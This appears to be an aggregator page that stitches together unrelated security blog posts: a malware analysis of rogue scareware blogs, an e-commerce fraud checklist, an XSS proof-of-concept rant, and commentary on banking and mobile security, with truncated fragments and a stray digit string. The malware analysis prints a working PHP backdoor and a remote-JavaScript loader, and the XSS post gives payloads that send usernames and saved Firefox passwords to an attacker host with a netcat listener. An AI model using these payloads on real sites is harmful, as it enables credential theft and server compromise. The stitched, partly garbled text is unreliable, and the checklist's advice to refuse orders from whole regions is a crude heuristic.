Interdepartment Center for Research on Security

I Know What Your Office Equipment Did Last Summer...

Yesterday there was a great article in the Toronto Star that discusses a potential security risk t ...(more)...

...(more)...

One of our readers, Bill, wrote in to let us know about a pretty dangerous batch script that was pos ...(more)...

Pre-teenage kicks

One in four UK youngsters have tried hacking into Facebook or webmail accounts, according to a new survey.

What is your recession sales strategy?

(author unknown)

Back in November, I wrote about rogue blogs created in subdirectories of legitimate websites. The blogs poisoned Google search results for millions of relatively unpopular keywords (the long tail) redirecting visitors to scareware websites. This hack mainly affected sites hosted on Servage network.

Recently I’ve been contacted by one of Servage clients who found his sites hacked:

I noticed the anomalous traffic to domains that are essentially either completely parked or just used for email addresses (SMTP forwarding rather than anything ‘clever’ with webmail.) That led me to the file structures and a quick google led me to your site.

He sent me the offending files he found under his account (thanks Matthew). Now I can share my analysis of the files with you.

In my previous post, I speculated about the internal structure of the rogue blogs. Now that I have the files, I can say that all my guesses proved to be correct.

Blog engine

Indeed, a full-featured yet minimalistic PHP blog engine powers the rogue blogs.

The whole engine consists of only 4 files:

• index.php – main file of the engine. Less than 500 lines of PHP code. Less than 18K bytes on disk.
• template.php – template of web pages that uses the data provided by the index.php. About 20 Kbytes.
• categories.dat – serialized blog categories.
• .htaccess – rewrite rules to support SEO-friendly URLs.

And this engine is indeed anonymous. I couldn’t find any credits. No names, not licenses. Just the code. The only clue I found was this User-Agent string of the ping requests: WeirD blog engine.

Features

The engine can do pretty much everything you expect a blog engine should be able to do.

• add/remove entries
• break down entries by categories
• display entries in chronological order
• support SEO-friendly URLs
• notify services like Ping-O-Matic, Technorati, Google Blogsearch, Weblogs about new posts.
• provide RSS feeds
• support trackbacks
• support custom templates

Flat files

The entries (there are hundreds of them) are stored in flat .txt files in the same directory. This makes the engine database-independent, so it can work on most servers. The only requirements are:

• PHP
• sufficient directory permissions to create files
• Apache (to use SEO-friendly URLs)

Here’s a sample content of one of such text files (blonde-avril-lavigne.txt):

blonde avril lavigne
<img src="http://lh5.ggpht.com/elaing.zhang/SNxxYg5W9iI/AAAAAAAAUzE/Y75n9lb2xmg/s800/avril-lavigne80926003.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://lh3.ggpht.com/elaing.zhang/SNxxYxT7YwI/AAAAAAAAUzM/CZ832w22_Go/s800/avril-lavigne80926004.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://images.teamsugar.com/files/users/2/20652/34_2007/76335776.preview_0.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://www.judiciaryreport.com/images/avril-lavigne-pic.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />
<img src="http://static.desktopnexus.com/wallpapers/4138-bigthumbnail.jpg" alt="blonde avril lavigne" title="blonde avril lavigne" />

As you can see the files are straight forward. The title on the first line followed by the content. In our case the content is five images (Google Image search results for corresponding keywords).

.htaccess

Since the purpose of the rogue blogs is poisoning of search results, “SEO-friendly” URLs is a required feature of the blog engine. This engine uses Rewrite rules in .htaccess files.

RewriteEngine On
RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L]
RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L]
RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L]
RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L]
RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L]
RewriteRule ^rss20.xml$ index.php?action=rss [L]

Malicious features

What makes these blogs malicious is following modifications to the original engine.

css.js

All blog pages contain the following script tag:

<script type="text/javascript" src="'.$blog['homepageUrl'].'css.js"></script>

The script redirects visitors that come from search engines to scareware sites. The content of this script constantly changes, redirecting people to new, not yet blacklisted sites. Here is how they do it behind the scenes:
function get_js_file($filename) {
if (!file_exists($filename) or time() - filemtime($filename) > 3600) {
$js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename);
if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);}
if ($js_file) { @file_put_contents($filename, $js_file);}
}}

As you can see, this code tries to update the css.js file downloading its new content from hackers’ sites: t.xmlstats .in, t.jsonstats .in and, in some versions of the engine, t.jsstats .in.

This is how hackers make sure their blogs always redirect to currently active scareware sites.

Anti-Googlebot

Another modification is the code that detects requests from Google’s network checking the IP address against known Google’s IP ranges. If a request from Google is detected, the css.js file is replaced with css.google.js. This way hackers try to hide the malicious redirects from Googlebot when it indexes the rogue blogs. And the fact that I can see many such blogs in Google search results without any warnings shows that this simple trick does its job.

Different generations

In November, I discovered that there had been several different generations of the rogue blogs. Checking the files I received from Matthew, I found those generations sitting in separate subdirectories: blog, bmblog, bmsblog.

Backdoor script

Another interesting file I received is the index.php above the directories with rogue blogs:

<?php
error_reporting(E_ALL);
if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') {
$test_func = create_function('', urldecode($_POST['f']));
$test_func();
}
?>

This is a typical backdoor script that executes whatever PHP code hackers send in parameters of POST requests.

Apparently, this script was used to create all other rogue files and directories. The question is how this backdoor script got there in the first place.

When Matthew asked Servage about what happened to his sites, they accused him of using insecure scripts, despite of the fact that his site didn’t use any scripts at all.

As I showed in my previous post, 85%+ of discovered rogue blogs are hosted by Servage so I’m almost sure some Servage-specific security hole was used. (Pure speculation: For example, it could be some php shell that hackers used to finds user accounts with writable directories. And the internal Servage architecture might help this script propagate to different physical servers. )

Still active

While the first generation of these rogue blogs appeared in April of the last year, this attack is still active. I can still see quite a few rogue bmsblog blogs with dates of the most recent posts in March of 2010. And some of them (not all though) can be found via Google search inurl:bmsblog/category 2010.

To Webmasters

While this particular attack mainly affects clients of Servage hosting company, it is quite typical for hacks that try to create rogue web pages in compromised web sites. So the following advice should be useful for most webmasters.

1. Make sure your server directories are only writable to you. This is especially important in shared hosting environment where hackers can use a compromised neighbor account to find writable directories in the rest sites on the same server and then create rogue content there.

2. Regularly scan your server for any suspicious files and directories.

3. Regularly check raw server logs. You may find requests to files that shouldn’t be there.

4. Pay special attention to POST requests. They are very popular for backdoor scripts. Just compile a list of files accessed via POST requests and check if you recognize any of them.

5. Many shared hosting plans include Webalizer. Every now and then check its reports. While they are normally not as useful as Google Analytics reports, they have one important advantage over Google Analytics – they track all files under your account, not only those where you inserted a tracking code. So, in Webalizer, you can see requests to files created by hackers, while Google Analytics completely misses this sort of data.

6. Hackers usually create rogue web pages to poison Google search results. So it’s natural to use Google to detect this sort of hacks. Regularly use Google to check what is indexed on your site. Use the site:you_site_domain.com search command.

7. Regularly check reports in Google Webmaster Tools. They may also reveal suspicious activity. Useful reports: Top search queries, Keywords, Links to your site.

8. If you find new directories with rogue files, disallow them in robots.txt. This will show Google that you don’t want those directories to be indexed. Otherwise, even if you delete the files, Google may keep them in index for quite some time (who knows, maybe you removed them temporarily while, say, redesigning your site).

For example, if you find rogue files in /cgiproxy/bmsblog/ the robots.txt should be:
User-agent: *
Disallow: /cgiproxy/bmsblog/

9. And don’t forget about other types of hacks that mess with your existing files. Regularly check your site for consistency and any illicit content that hackers may inject into your web pages (this is where my Unmask Parasites service can help).

Call for information

This case is not completely investigated yet. For example, I still don’t know why it mainly hits Servage and how exactly it propagates. This information could help Servage clients prevent infection of their sites. And probably guys at Servage need this information too since it looks like they can’t stop this attack themselves (and it’s active for about a year now!!!)

And if you have interesting information about any other hacker attack, please share it with me and readers of this blog. I’m always looking for malicious files that webmasters find on their compromised servers. They can tell a lot about how the attacks work. So before deleting any offending content, consider contacting me first.

Thanks for reading this blog. Your comments are welcome.

Related posts:

• Rogue blogs regirect search traffic to bogus AV sites. Part 1
• Rogue blogs redirect search traffic to bogus AV sites. Part 2
• Bety.php – osCommerce Hack. Part 1.
• Bety.php Hack. Part 2. Black Hats in Action.

Credit card fraud and online ordering fraud has hampered ecommerce merchants since the first credit card payment was taken over the internet. Because fraud is still successful, and because there is virtually no way to go after someone you suspect of fraud, it is still a plague to website owners trying to run a business on the internet. Online fraud is especially troublesome to online retailers, because they end up losing twice, first when the merchandise they shipped is not recoverable, and second when the real cardholder makes a chargeback. Now they lose the merchandise and the money they would have collected for it. There are numerous fraud screening applications designed to help ecommerce merchants prevent accepting and shipping fraudulent orders. However, many ecommerce sites aren’t even covering the most basic of fraud screening principals.

Here is 10 items that should be checked on every order before shipping. If you do nothing else for fraud screening at least cover these basic principals to help prevent some of the more obvious fraud.

If any of these are true, it’s a good idea to further review the order, or contact the person making the purchase before shipping.

1. Billing and Shipping Addresses Don’t Match
2. Requesting Overnight Shipping
3. Order is for Multiple Quantities of the Same Item
4. Items Being Ordered are Mainly of High Value
5. Order is for Uncommonly Purchased Items
6. Different but Related Products Being Ordered
7. AVS and/or CVV Verification Failed
8. Customer Made Several Unsuccessfully Attempts Before the Transaction was Approved
9. Customer’s phone number and/or email look unconventional
10. Order is Being Shipped to Africa, Asia, or Eastern Europe

1. Billing and Shipping Addresses Don’t Match

This should be the first sign of potential trouble. While not impossible, it is rare for fraudulent orders to be shipped and billed to the same address. Someone making a purchase fraudulently will often have the item shipped to a forwarding address or other location that they are not personally associated with.

It is common for shoppers to ship to their home or business address which may be different from their billing address. Nevertheless, it’s a good idea to at least take a look at orders that do not have matching shipping or billing addresses. If an order is being billed to Omar Patel in Houston, and being shipped to John Smith in Seattle, you may want to ask why…

2. Requesting Overnight Shipping

While it’s completely reasonable for a customer to want their order ASAP, expedited shipping is a very common trait of fraudulent orders. The thief needs to get the merchandise as quickly as possible before a chargeback is made. With slower shipping methods, the merchant has the opportunity to halt the shipment if they receive a chargeback, or identify the order as fraud, which would make nullify the efforts of the thief.

3. Order is for Multiple Quantities of the Same Item

Many times, fraudulent orders are made with the intention of reselling the merchandise on eBay, Craigslist or locally. Multiple items make an easier sale and easier money especially if the items are in high demand.

Depending on your industry you may often get orders for multiple items, so this rule applies much less to some industries. For us, we often get orders for 10 or more credit card terminals as many businesses have multiple locations. Over time, you should be able to better identify common ordering trends.

4. Items Being Ordered are Mainly of High Value

As with above, since many fraudulent orders are placed with the intention of reselling the merchandise, the most expensive merchandise often yields the greatest rewards. The merchandise can be quickly sold and the thief can makes a decent profit even when discounting 50% or more. The higher the value of the merchandise to you, the higher the value to someone trying to steal it.

If your average order is $200, you should definitely take a closer look when someone places an order for $10,000. Also, keep in mind that the larger the order, the more damage to your business if a fraudulent order is successfully placed.

5. Order is for Uncommonly Purchased Items

I’m not entirely clear on the reasoning behind this, but it’s not uncommon for fraudulent orders to be for items that are rarely purchased. Most likely it is due to careless research on the thieves part. If you sell thousands of orders per year and have never sold some particular item, I would be suspicious when someone comes along wanting it. There’s usually a reason why some products sell a lot and why others never sell. It’s not common for only 1 customer ever to be interested in an item that you offer.

New ecommerce sites will have a hard time with this rule, but once you establish some sales history and if you really know your products, it’s easy to spot and flag orders with uncommon items in them.

6. Different but Related Products Being Ordered

Let’s assume you sell LCD TV’s online. It’s very common for someone to come along and purchase a single TV. Maybe you have a sale and someone purchases several TV’s on sale, still a completely reasonable scenario.

Now, let’s say someone orders 5 TV’s, and every one is a different brand and size. This should immediately raise a red flag. Yes, it’s possible that someone wants 5 completely different TV’s, but purchasing products like this is not a common shopping or even human behavior and warrants further investigation.

7. AVS and/or CVV Verification Failed

While the majority of the largest ecommerce sites still do not require CVV, it’s a really good idea for you to. If your customers are US based, requiring a positive AVS zip code match is also a good idea. AVS verifies the address of the cardholder, and CVV verifies that the person placing the order has at least had the physical credit card in their possession. Even if  the card number was stolen, odds are the thief does not have the CVV number unless the entire card was stolen.  If the entire card was stolen, there’s a good chance that the owner would have canceled it already. CVV costs nothing, and I strongly recommend all merchants to at least require it to be submitted. Because the number can be worn off the card, I do not always recommend a positive match, but this is something you need to assess specifically for your business and your customers. When in doubt, require it!

8. Customer Made Several Unsuccessfully Attempts Before the Transaction was Approved

This works in conjunction with AVS and CVV verification. If someone is attempting to place orders using a stolen card, it’s common for several declines due to an incorrect address, expiration date, or CVV.  Keep a close eye on customers that submit multiple declined or AVS/CVV mismatch transactions. 1 or 2 errors may be common, but if you start seeing a group of attempts it may be a sure sign of fraud.

If you start seeing hundreds or even thousands of attempts it is almost certainly an entirely different type of fraud called carding. This type of fraud can be very costly to your business even if you never lose any merchandise, so it’s important that you promptly address and correct the situation that is allowing it.

9. Customer’s phone number, email and/or shipping information look unconventional

You wouldn’t believe how many times fraudulent orders use incorrect, fake, or just plain goofy email addresses, phone numbers, and ship-to information. If you get bounced receipt emails, see an email like fbi.gov, see phone numbers like 555-555-5555, or are shipping to Mickey Mouse, you should probably be concerned about the order being fraudulent. Additionally, if the phone number contains a country code, or incorrect area code, there’s a good chance that someone just typed the first digits they could into the phone number box.

Most business and personal land-line phone numbers can be researched just by entering them into a google search. At the very least you can figure out if the area code matches the billing or shipping address, and if the number is actually valid.

10. Order is Being Shipped to Africa, Asia, or Eastern Europe

I don’t want to discriminate against people in any particular country, but it’s a fact that a lot of fraud originates in a few select regions and countries of the world. Unless you have experience in international-commerce, it’s a good idea to only cater to your own country, or ones you know and trust very well. I wouldn’t even consider shipping a product to most African countries, East Asia, Eastern Europe and Russia. Also, some areas like Amsterdam are notorious for credit card fraud. Be very careful when accepting international orders.

Even if an order isn’t fraudulent, international orders can introduce a multitude of additional customs, credit card processing, and legal requirements, and can make processing returns very difficult. Something as simple as shipping from the US to Canada, can present a number of problems and costs that many website owners are not prepared to deal with. I strongly suggest doing a lot of research and finding someone who has real experience before venturing into international shipping.

Final words…

I can guarantee that every online merchant will face some form of credit card fraud. Credit card fraud is a minor inconvenience to some, and will end others’ online ventures. Not all merchants need to use some of the more advanced fraud screening methods out there, but everyone should cover the basics.

It’s not every day I come across real wisdom in research but I saw a link yesterday to So Long, And No Thanks for the Externalities: The Rational Rejection of Security Advice by Users which is a research paper written by one of the guys at Microsoft. There are some amazingly choice quotes in there, like:

as far as we can determine, there is no evidence of a single user being saved from harm by a certificate error, anywhere, ever. Thus, to a good approximation, 100% of certificate errors are false positives.

Priceless… Mozilla - take a word of advice from the MS guys and make your invalid SSL cert flow 1000% less annoying please. Anyway, another one of the quotes I thought was even more interesting:

If phishing victimizes 0.37% of users per year and each victim wastes 10 hours sorting it out, to be beneficial the daily effort of following the advice should be less than 0:0037 x 0:5 x 10=365 hours or 0.18 seconds per day.

So… if .18 seconds per day is too much, let’s take a look at what our anti-phishing technologies are doing. Let’s say they take up 2 whole seconds a day to download their lists, and verify that the sites you browse aren’t on that list, while you are surfing and trying to boot up and shut down browser processes, etc…. We are talking about more than 10x delta between what it should actually take. Further, let’s do the math on what would happen if anti-phishing went away. How many times worse would the phishing black market be if anti-phishing filters went away entirely and phishing was instead dealt with the registrars, ISPs and the brand owners themselves? Three times? Five times? Would it go to ten times? Would it go to more than ten times to make it actually worthwhile from an economic perspective?

How about UAC in Windows? How many seconds has that added to everyone’s day to stop the threat of malware? Does it add up and does it actually stop malware infections for the additional time it incurs? What about Anti-virus? Are we operating in a deficit or do those security products actually prove themselves to be worthwhile for the entire public? I know this is really tricky math based on an insane amount of variables, and it very might well prove out that some products are a no-brainer because they don’t add time or latency. But I do suspect there are a lot of things that we tend to think of as good ideas that actually end up being worse for the end user if you do the math. I know the article was really talking about user education being a bad idea economically (and I couldn’t agree more based on every study I’ve seen or been a part of). But it’s still interesting to think about how a similar formula could be applied elsewhere. Thought provoking research anyway.

I work for a smallish ISP in the Midwest. In late September and the month of October w ...(more)...

...(more)...

Nice hack:

Using insider knowledge the two hacked into software that controlled remote betting machines on live roulette wheels, the report said.

The machines would print out winning betting slips regardless of the results on the wheel, Peterborough Today said.

I'd like to know how they got caught.

EDITED TO ADD (4/17): They got their math wrong:

However, the scheme came unstuck after an alert cashier noticed a winning slip for £600 for a £10 bet at odds of 35-1. The casino launched an investigation that unearthed a string of other suspicious bets, traced back to Ashley and Bhagat, IT contractors working at the casino at the time of the scam. schneier142989268344089229320654108527350785338416396643244938164975015278914757054101600513227753123957807103448558482814237651097092482716860492331212095934489585786511067853532291698348059167706777219525420107890991197529744317150462406304581446

Web apps stay online during attacks(author unknown)

Ever since I took my first baby steps in web application penetration testing, I’ve seen people using alert(‘xss’) and alert(document.cookie) to prove an application is vulnerable to cross-site scripting. Despite the title of this little rant (and yes, it is a rant), I’ve got no problem with that… up to a point. We need something simply, easy and visual to use in testing, and the alert pop-up has been the weapon of choice for a long long time. With that said though, there’s a time and place for a pop-up saying ‘xss’ or god forbid ‘pwnd’ or ‘hello world’. That time and place is in the lab when you’re testing. After all, if that’s your proof of concept attack in an official report, no wonder the managers, developers and people holding the purse strings don’t agree with your risk analysis.

You’ll be hard pressed to find a half decent developer or technically savvy manager that’s not heard of cross-site scripting. However, we’ve drilled it into people, that an XSS vulnerability is nothing more than a pop-up on the screen saying a witty message, or showing you your own cookie. In most cases we’re to blame for this reaction. After all, every time we demo an XSS flaw, that’s what we do…. good old alert(‘xss’).

So enough of the ranting, and on to the proof of concepts… after all, I can’t just leave you guys hanging without a solution, or at least a starting point. You’ll find examples like this (and probably better than this) all over the web. So take some time to look around and see what else there is you can do with XSS. You’ll be surprised what you can achieve with a simple reflective XSS attack.

Overlay

I’ve used this type of injection on a few occasions, and even though there are other more interesting methods of achieving the same thing, the technique can be used to do a lot… including blanking out sections of the site with your own content (advert, link, fake news entry etc…)

<div style=”position:absolute;top:225px;left:126px;height=100px;width=100px;z-index:1;background-color:#FF3300″><form action=”http://[Attacker-IP]/evil.php”>Username:<br><input type=”text” name=”user”><br>Password:<br><input type=”text” name=”pass”><br><input type=”submit” value=”Logon”></form></div>

You can easily try this out yourself by pasting the above into a text editor and saving it as overlay.html. Opening it directly in your browser will bring up the rather obvious looking overlay (see orange screenshot). Why orange you may ask. Well, it’s so you can see where your overlay is when you’re working out the placement. It’s also find of hard to show management where your overlay is if it’s the same colour as the rest of the screen. For attackers, it’s got to look perfect. For a report and a demo, you also need to make it obvious so you can get your point across. It’s simple enough to change the background-color:#FF3300 to a colour of your choosing.

In this example the username and password information will be sent to the value of form action. In this case http://[Attacker-IP]/evil.php. You can simply set a netcat listener (nc -l 80) on a system to receive the information. It’s quick and easy, but doesn’t really give that full on attacker feel, as the user won’t get a response and timeout in the end. To prevent that, you can setup a php script to grab the info, or just do something quick and simple. I’ve been toying with a simple text file solution (quick and dirty).

As you can see, the solution uses a simple text file (302.txt in the above screenshot). This is fed into the netcat listener so that when our victim connects, they’ll receive a 302 redirect to whatever we add into the location. Obviously we can chain this and have them redirected to a Metasploit listener (see my ie_peers example video), or to anything else we want… BeEF for example!

Form Fiddling

Fiddling with forms is a little more fun and advanced than the above overlay option. Still it’s not exactly rocket science, else a non-programmer like me would never be able to manage it.

The basic idea is that by inserting JavaScript into the page (through stored or reflected XSS) you can change elements on the page after they’ve loaded. There’s a lot of different possibilities here, but keeping with our password stealing example from the overlay, here’s a simple example that alters the first form on the page [0] to a destination of the attackers choice.

onsubmit=”document.forms[0].action=’http://[Attacker-IP]/evil.php’”

The good thing about using the “onsubmit” event to make this change, is that if the user however over the submit link on the form, any pop-up will still be pointing to the official location. The change only takes effect when the user clicks submit. Then, as before, a simple netcat listener to wait for the communication from the victim machine. Even though this is an easy to implement attack, and it’s very effective, it’s hard to show screenshots of this in a report. Sometimes a picture is worth a thousand words. However, it’s great for live demos. Especially if you set the 302 redirect to send them back to the logon screen again (this time without the form changes). Most users will simple accept that they mis-typed their password.

Firefox Password Database / Single Sign-On

I was reminded of this attack vector recently as Jeremiah Grossman mentioned it on his Twitter feed. The basic premise of this attack is that Firefox will autofill saved passwords if the user has opted to save the logon information. Alongside Firefox I can also think of a few Single Sign-On tools that do the same sort of thing, and as a result should also fall foul to the same exploit (I need to do further testing to confirm this however).

By creating a hidden field as type password, the browser will autofill this with any saved password for the page. As this isn’t done straight away, a delay is imposed (using setTimeout) to delay the second action until the password is filled in and ready to be stolen.

javascript:document.write(‘<form><input id=pword type=password></form>’);<script>setTimeout(‘window.location =”http://[Attacker-IP]/evil.php?passwd=” %2bdocument.getElementById(“pword”).value’,100) </script>

The above example waits for 100 milliseconds and then performs a redirection (using window.location) to the attacker owned system. Again, it’s up to you what you want to do here. The window.location is a simple proof of concept, however it could be worked into a hidden iFrame, or even an AJAX request so that the victim isn’t aware of the transaction.

————————————————————–

These are all simple examples, but should be enough to get you started on a working proof of concept for your next XSS. With more time you can make these sneakier, better and a whole lot more evil. Where you take them from here is up to you.

Cross-Site Scripting might not be as exciting as SQLInjection or File includes…. but it is what you make of it. If you make it pop-up a box saying how 1337 you are, then don’t expect to get your message across.

————————————————————–

If you’re interested in learning more about what’s possible with XSS then I’d suggest checking out the XSS book from Syngress, as well as RSnake’s blog/forum over at http://ha.ckers.org. For more advanced exploitation frameworks, checkout the Browser Exploitation Framework (BeEF).

Without these resources this post wouldn’t have been possible.

Microsoft released a Platform Preview version of the next version of Internet Explorer. ...(more)...

Well it wasn't timed with Bernando (nor Tom) but after a lot of commits and code re-writes, we are pleased to announce the second major release of JBroFuzz:

http://www.owasp.org/index.php/Category:OWASP_JBroFuzz

From the 2.0 release notes:

• User basic authentication supported and updated headers to show 2.0 release
• Fixed preferences bug.
• Added Authorization header option in UI, under URL Encoding
• Created a Verifier for .jbrf files
• Fixed a small mistake in EncoderHashFrame.java
• Implemented a Cross Product Fuzzer within core/CrossProductFuzzer.java
• Introduced PowerFuzzer.java, DoubleFuzzer.java and fixed the directory location preferences.
• Fixed Graphing Tab, right click menu
• Arrayedified preferences, fixed maximum frame size, extracted all icons in a /icons folder.
• EncoderHashFrame.java binded keys changed to alt+enter to encode and alt+backspace to decode
• Split org.owasp.jbrofuzz.encode to core and UI
• Added more documentation within the help topics about fuzzing
• Added print functionality to keyboard shortcuts
• Added keyboard shortcuts
• Fixed the category of SQL Injection
• Updated INSTALL, README files, converted jbrofuzz.sh to unix format

Hope you find it of use.

Many thanks to all those involved (more than the names suggest) in the development of this version,

Yiannis

Brian Krebs continues to the most important spade work on the eBanking cluster that melting down before our eyes (emphasis added):

“When I first talked to the bank, my question to them was, ‘We’ve always done the same five payroll transactions a month, this was outside the norm, so why didn’t you flag them?’” Diaz recalled. “They told me because [the thieves] answered the secret questions correctly and because the amount was under $10,000 and their daily limit, they let it go just based on the amount.”

In other words the bank believed them because their own weak authentication process failed.

In the beginning things were simple:

Authentication, authorization and auditing - the gold standard for information security - ran on the bank's system. 

But with eBanking for transactions under $10k, it appears that not only did banks add the very weak identity and authentication of the web, banks also removed authorization and a fair amount of auditing. 

 
We start the process with a weak username/password "authentication" of random people on the web, and then use this to bootstrap the whole rest of the process! MQ Series is only going to propagate those weak credentials and the mainframe "trusts" it because it was sent from MQ, as long as its why under $10k why worry? 

I am not sure this model makes it much longer, it reeks of an 1970s station wagon engine that's coughing and wheezing its last breath and spewing oil all over your driveway, and I am not alone.

Internet banking as we know it, the kind that happens when a user launches a browser, and goes through even a decent approximation of layered security on a bank's Website, is dead, made untenable by the massive fraud now draining hundreds of millions from corporate accounts."

-- Rebecca Sausner, Editor-in-Chief, Bank Technology News

My friend Franco Travostino compiled a list of ten issues that smartphones have, several caught my eye (note - Franco says that they are in no particular order, but he puts unexpected entitlements #1 which I agree with) and not surprisingly a number of the issues are related to security :

1. Unexpected entitlements. Some applications are more equal than others. For instance, try signing-out from your primary gmail account on Android. It won’t work unless the whole device is wiped clean;

The user has little to no visibility or control over entitlement management, the  other issue here is where those same entitlements are being reused across apps and services.

4. Stale coding practices. The application development environments don’t leverage any of the new ideas in software engineering, like Ruby on Rails with its built-in unit/functional testing;

This might not seem like a security issue, but it most definitely is. Software security has only recently been getting traction primarily on web-style applications, and so many web developers are up to speed on the basics like malicious software, SQL Injection, XSS and on and on, and then they take some at least basic measures like fuzz testing, static analysis to address these. You can reasonably expect an intermediate web developer to have some of these tools and knowledge in their toolbelt and if not there are many places to go to learn. But that's typically not the case in mobile, there's an extremely naive trust model, but little in the way of assurance, again Chip and PIN is a good example here.

Problem is - the web apps got the level of assurance and resiliency they currently have (which could be better I grant you) through getting bludgeoned by bad guys and fails, but the lessons learned here must carry over to other networked apps, its not good ROI to pay to learn the same things twice.

6. Password sprawl. Without a widespread identity infrastructure, I’m forced to set passwords in as many different applications and have their renewal/challenges hanging on me. Intriguingly, the latter too change in frequency and style with the application, thus making it a really fragmented experience and a race towards lower grade security policies (i.e., simple passwords with the longest expiration intervals possible);

This one is just sad. The web people in the 90s had the excuse that there were not cheap, easy and readily available ways to solve the identity problems. Today's mobile developers have many options - SAML, oauth and many other standards. Using the mainframe-style subject-object password bind leads to other problems like:

7. Back-end password handling. Without a widespread identity infrastructure, chances are that for a given application the database of subject’s secrets and the subject’s application data get collocated into the same Cloud and the same logical slice therein. This is what my colleague Gunnar Peterson colorfully describes as loading dynamite and detonator onto the same truck;

Again with the naive trust model.

8. Porous sandboxes. The sandbox that an application operates in has several back-alley read/write access pathways to free-for-all data (e.g., the keyboard cache and address book on the iPhone, as described here), thus creating opportunities for Trojans and covert channels;

I would suggest changing porous to non-existent. Or perhaps "box made of sand." Look people we have seen this movie before, PCs were never designed for malice, they just accreted functionality and data, and then the web was the active ingredient that spread virii and the like across the porous PC world. Mobile apps have networked apps as first class citizen, the thin thread the current "security" of these systems is predicated on poorly understood target environment. Does that sound like a sound long term moat to you? 

10. Cloakers and phishers. Some applications mean big business and naturally attract ill-intentioned copycats. There are just so many pixels to copy. Current defenses are mainly non-technical - e.g., the presence in the iTune store hinges on relationships between vendor, Apple, and the user community. They are not as effective in the bazaar style of application store.

This one has the potential to be worse than what we've seen so far on the Web. Why? Think about the earlier points that Franco makes - lack of control of identity, old school "trust-y" programming and password models, lack of visibility into entitlements, and ugly failure modes - unless you rethink your security model for mobile this is a cloaker/phisher dream platform. In a podcast with Marcus Ranum, Dan Geer summed up the old security model as "I'm ok, you're ok, but we can't trust the network", this led to SSL and other security measures. Now Dan says the model is "I know the network is hosed, I have to assume you are to, and I may be as well." If you extrapolate that reality assessment to the above points its an ugly situation that taking your existing apps and putting a mobile face on them will make much worse.

What happens many times is that mobile is treated as just another front end along with web portals and web services, the rest of the architecture they connect to - like customer, order or product services, remains relatively unchanged. This assumes that mobile is just another front end like supporting a different version of Firefox or something.

 What's missing here is that more or less everything is different in the mobile environment, it looks similar enough - hey its HTTP and HTML/XML! - to fool people into tacking on the web security model. Its better to start fresh, look at the message exchange patterns, look at the conversations, identities, claims, and data. Look at the threat model for mobile separate from Web and Web services, look at the control environment. 

Hoff's CSA riff at RSA sums this up quite well

All this iteration and debate on the future of the “back-end” of Cloud Computing — the provider side of the equation — is ultimately less interesting than how the applications and content served up will be consumed.

Cloud Computing provides for the mass re-centralization of applications and data in mega-datacenters while simultaneously incredibly powerful mobile computing platforms provide for the mass re-distribution of (in many cases the same) applications and data.  We’re fixated on the security of the former but ignoring that of the latter — at our peril.

People worry about how Cloud Computing puts their applications and data in other people’s hands. The reality is that mobile computing — and the clouds that are here already and will form because of them — already put, quite literally, those applications and data in other people’s hands.

If we want to “secure” the things that matter most, we must focus BACK on information centricity and building survivable systems if we are to be successful in our approach

As always in security it pays to be a connoisseur of chaos:

A. Well, an old order is a violent one.

This proves nothing. Just one more truth, one more

Element in the immense disorder of truths.

B. It is April as I write. The wind 

Is blowing after days of constant rain.

All this, of course, will come to summer soon.

But suppose the disorder of truths should ever come

To an order, most Plantagenet, most fixed. . . . 

A great disorder is an order. Now, A

And B are not like statuary, posed

For a vista in the Louvre. They are things chalked 

On the sidewalk so that the pensive man may see.

The time between the announcement of a vulnerability and seeing the exploit in the wild is short, es ...(more)...